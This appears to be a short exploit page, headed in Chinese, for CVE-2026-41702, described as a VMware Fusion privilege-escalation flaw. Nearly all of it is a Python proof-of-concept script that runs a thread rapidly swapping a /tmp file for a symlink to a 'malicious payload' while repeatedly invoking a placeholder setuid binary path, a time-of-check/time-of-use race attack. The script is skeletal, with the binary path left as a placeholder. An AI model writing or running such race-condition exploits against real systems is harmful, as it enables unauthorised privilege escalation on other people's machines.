CVE-2026-41702 VMware Fusion权限提升漏洞

import os import time import threading # Exploit Concept for TOCTOU Vulnerability # This script attempts to race between the check and use of a file. TARGET_FILE = "/tmp/vmware_fusion_target" MALICIOUS_FILE = "/tmp/malicious_payload" def create_symlink(): """Thread function to swap the file rapidly""" while True: try: os.remove(TARGET_FILE) os.symlink(MALICIOUS_FILE, TARGET_FILE) except: pass if __name__ == "__main__": print("[*] Starting TOCTOU Exploit PoC for CVE-2026-41702") print("[*] Targeting SETUID binary operation...") # Start the race condition thread attacker_thread = threading.Thread(target=create_symlink) attacker_thread.daemon = True attacker_thread.start() # Simulate triggering the vulnerable binary operation # In a real scenario, this would call the vulnerable VMware binary for i in range(1000): os.system("/path/to/vulnerable/setuid/binary") print("[*] Exploit attempt finished.")